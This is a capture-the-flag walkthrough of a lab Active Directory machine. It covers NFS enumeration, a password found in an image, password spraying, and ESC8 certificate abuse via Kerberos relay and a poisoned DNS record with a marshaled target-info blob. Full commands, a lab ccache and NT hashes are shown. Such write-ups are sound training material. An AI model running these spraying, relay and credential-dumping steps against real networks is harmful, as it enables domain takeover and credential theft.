Overview

The machine starts by enumerating an open NFS share to exfiltrate user profile images, finding a password on a sticky note that gives valid creds for Rosie.Powell, then enumerating ADCS to find the CA vulnerable to ESC8 with NTLM disabled domain-wide forcing a Kerberos relay approach instead, poisoning a DNS record with a marshaled target-info blob to trick the DC into authenticating to the attacker, relaying that Kerberos auth to the ADCS web enrollment endpoint to get a certificate for the DC machine account, then using that cert to DCSync the domain and get shell as Administrator.

Enumeration

we'll start with nmap scan as usual

there is some things to note here

  • the box is obviously an AD environment cause of all this DC ports
  • port 80 hosts default IIS page
  • domain name is cicada.vl but the FQDN is DC-JPQ225.cicada.vl
  • there is ADCS in place with the CA cicada-DC-JPQ225-CA
  • port 2049 is open which is probably nfs
  • the clock skew is fine

so lets setup the environment

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ echo '10.129.234.48 DC-JPQ225 DC-JPQ225.cicada.vl cicada.vl' | sudo tee -a /etc/hosts
10.129.234.48 DC-JPQ225 DC-JPQ225.cicada.vl cicada.vl
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ nxc smb 10.129.234.48 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.234.48 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.234.48 445 DC-JPQ225 [+] krb5 conf saved to: krb5.conf
SMB 10.129.234.48 445 DC-JPQ225 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\: STATUS_NOT_SUPPORTED
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

NFS

the NFS is unique so I will start with it listing the mounts, there is a mount called profiles for everyone

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ showmount -e 10.129.234.48
Export list for 10.129.234.48:
/profiles (everyone)

first mount locally

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ sudo mount -t nfs 10.129.234.48:/profiles /tmp/profiles/
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$

listing files we find this, which looks like a Users directory maybe

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[/tmp/profiles]
└──╼ [★]$ ls -la
total 10
drwxrwxrwx 2 nobody nogroup 4096 Jun 3 2025 .
drwxrwxrwt 1 root root 990 Jun 19 08:59 ..
drwxrwxrwx 2 nobody nogroup 64 Sep 15 2024 Administrator
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Daniel.Marshall
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Debra.Wright
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Jane.Carter
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Jordan.Francis
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Joyce.Andrews
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Katie.Ward
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Megan.Simpson
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Richard.Gibbons
drwxrwxrwx 2 nobody nogroup 64 Sep 15 2024 Rosie.Powell
drwxrwxrwx 2 nobody nogroup 64 Sep 13 2024 Shirley.West

and no files there but the directory files are more than enough

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[/tmp/profiles]
└──╼ [★]$ tree
.
├── Administrator
│   ├── Documents  [error opening dir]
│   └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│   ├── Documents  [error opening dir]
│   └── marketing.png
└── Shirley.West

14 directories, 2 files

now we got a list of users

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ cat out.txt | awk '{print $9}' | grep -v "^\." | tee users.txt
Administrator
Daniel.Marshall
Debra.Wright
Jane.Carter
Jordan.Francis
Joyce.Andrews
Katie.Ward
Megan.Simpson
Richard.Gibbons
Rosie.Powell
Shirley.West

trying to asreproast, all of the users require pre-authentication but now we know that all the usernames are valid

One thing I always try, is to try the password the same as the username but all lowercase

now we got a list of passwords also

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ cat users.txt | tr 'A-Z' 'a-z' | tee passwords.txt
administrator
daniel.marshall
debra.wright
jane.carter
jordan.francis
joyce.andrews
katie.ward
megan.simpson
richard.gibbons
rosie.powell
shirley.west

all the pre-auth failed

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ nxc smb 10.129.234.48 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success -k
SMB 10.129.234.48 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Administrator:administrator KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Daniel.Marshall:daniel.marshall KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Debra.Wright:debra.wright KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Jane.Carter:jane.carter KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Jordan.Francis:jordan.francis KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Joyce.Andrews:joyce.andrews KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Katie.Ward:katie.ward KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Megan.Simpson:megan.simpson KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Richard.Gibbons:richard.gibbons KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Rosie.Powell:rosie.powell KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Shirley.West:shirley.west KDC_ERR_CLIENT_REVOKED

Once this didn't work out, I wanted to go back to the pictures we got to exfiltrate its metadata

the metadata was empty, no additional users or fields

looking at one of the pictures, this looks like a password to me ss_20260619_092240.png

Rosie.Powell User

and we got a hit back (makes sense that it is for Rosie cause the picture was in its directory, so we should've started with it instead of brute-forcing)

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ nxc smb 10.129.234.48 -u users.txt -p 'Cicada123' --continue-on-success -k
SMB 10.129.234.48 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Administrator:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Daniel.Marshall:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Debra.Wright:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Jane.Carter:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Jordan.Francis:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Joyce.Andrews:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Katie.Ward:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Megan.Simpson:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Richard.Gibbons:Cicada123 KDC_ERR_PREAUTH_FAILED
SMB 10.129.234.48 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
SMB 10.129.234.48 445 DC-JPQ225 [-] cicada.vl\Shirley.West:Cicada123 KDC_ERR_CLIENT_REVOKED

there isn't anything special about the shares. so I got stuck here for a while doing a lot of enumeration but nothing was there so lets move on to the ADCS that i almost forgot about

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ nxc smb 10.129.234.48 -u Rosie.Powell -p 'Cicada123' -k --shares
SMB 10.129.234.48 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.234.48 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
SMB 10.129.234.48 445 DC-JPQ225 [*] Enumerated shares
SMB 10.129.234.48 445 DC-JPQ225 Share Permissions Remark
SMB 10.129.234.48 445 DC-JPQ225 ----- ----------- ------
SMB 10.129.234.48 445 DC-JPQ225 ADMIN$ Remote Admin
SMB 10.129.234.48 445 DC-JPQ225 C$ Default share
SMB 10.129.234.48 445 DC-JPQ225 CertEnroll READ Active Directory Certificate Services share
SMB 10.129.234.48 445 DC-JPQ225 IPC$ READ Remote IPC
SMB 10.129.234.48 445 DC-JPQ225 NETLOGON READ Logon server share
SMB 10.129.234.48 445 DC-JPQ225 profiles$ READ,WRITE
SMB 10.129.234.48 445 DC-JPQ225 SYSVOL READ Logon server share
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]

we already know that the NTLM isn't valid so lets get a TGT

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ certipy find -target 10.129.234.48 -u Rosie.Powell -p 'Cicada123' -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[-] NTLM negotiate failed: {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '80090302: LdapErr: DSID-0C0907FB, comment: AcceptSecurityContext error, data 1, v4f7c\x00', 'referrals': None
, 'saslCreds': None, 'type': 'bindResponse'}
[-] Got error: Kerberos authentication failed: {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '80090302: LdapErr: DSID-0C0907FB, comment: AcceptSecurityContext error, data 1, v4f7c\x00
', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}
[-] Use -debug to print a stacktrace

we got a TGT

plaintext 
─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ kinit Rosie.Powell@CICADA.VL
Password for Rosie.Powell@CICADA.VL:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: Rosie.Powell@CICADA.VL

Valid starting     Expires            Service principal
06/19/26 09:31:33  06/19/26 19:31:33  krbtgt/CICADA.VL@CICADA.VL
        renew until 06/20/26 09:31:28

ESC8

exported the certificate then listing the vulnerable certificates, the web enrollment is enabled over HTTP

so we can do ESC8, relaying the traffic from that enrollment

ESC8 is a misconfiguration in Active Directory Certificate Services (AD CS), which stems from insufficiently protected web enrollment services. Specifically, if a web enrollment service is not hosted over HTTPS with Channel Binding enforced, NTLM authentication attempts in the domain network can be relayed to the web enrollment service to request certificates for other domain principals.

usually this is easy to do, just relaying NTLM authentication from SMB or something and do whatever we want afterwards with the relayed authentication but because NTLM is disabled for this we'll have to use the Kerberos technique

synactiv got a blog with this title Relaying Kerberos over SMB using krbrelayx explaining exactly what is going on and how to abuse this so lets do it

this requires us being able to poison DNS records and as you can see we can do that

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ bloodyAD -H DC-JPQ225.cicada.vl -d cicada.vl -u Rosie.Powell -i 10.129.234.48 -k ccache=/tmp/krb5cc_1000 get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=cicada,DC=vl
permission: WRITE

distinguishedName: CN=Rosie Powell,OU=cicada,DC=cicada,DC=vl
permission: WRITE

distinguishedName: DC=cicada.vl,CN=MicrosoftDNS,DC=DomainDnsZones,DC=cicada,DC=vl
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.cicada.vl,CN=MicrosoftDNS,DC=ForestDnsZones,DC=cicada,DC=vl
permission: CREATE_CHILD

first we need to add the malicious DNS record (host + serialized empty CREDENTIAL_TARGET_INFO blob), pointing to our attacker IP

first added the DNS record

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.16.83
[+] Adding "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" to "DC=cicada.vl,CN=MicrosoftDNS,DC=DomainDnsZones,DC=cicada,DC=vl"
[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

why this specific record ? The magic string 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA is the marshaled empty target-info structure appended right after the hostname DC-JPQ225. This is what tricks the client into unmarshaling/remarshaling and connecting to your fake record while still requesting a ticket for the real DC-JPQ225 SPN

just validating the record we added

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ dig DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl @10.129.234.48

; < < > > DiG 9.18.19-1~deb12u1-Debian < < > > DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl @10.129.234.48
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13195
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl. IN A

;; ANSWER SECTION:
DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl. 300 IN A 10.10.16.83

;; Query time: 76 msec
;; SERVER: 10.129.234.48#53(10.129.234.48) (UDP)
;; WHEN: Fri Jun 19 09:56:50 PDT 2026
;; MSG SIZE  rcvd: 108

and as you can see, I started the relay server and coerced the authentication to the malicious DNS record which is our IP and the result is that we got a pfx file for the DC machine account so lets authentication ss_20260619_100434.png

having this certificate meaning we can authenticate, got us a hash for the DC account

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[/opt/krbrelayx]
└──╼ [★]$ certipy auth -pfx DC-JPQ225\$.pfx -dc-ip 10.129.234.48
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC-JPQ225.cicada.vl'
[*]     Security Extension SID: 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[-] Error writing output file: [Errno 13] Permission denied: 'dc-jpq225.ccache'. Dumping to stdout instead
[-] Use -debug to print a stacktrace
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
[*] Wrote credential cache to 'stdout'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3

first get a ticket and export it

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ getTGT.py cicada.vl/DC-JPQ225:@10.129.234.48 -hashes :a65952c664e9cf5de60195626edbeee3
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in DC-JPQ225.ccache
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/vulncicada]
└──╼ [★]$ export KRB5CCNAME=DC-JPQ225.ccache

dump the entire domain hashes

Shell as Administrator

and we got both flags

the official writeup shows another cool trick, worth checking out

Resources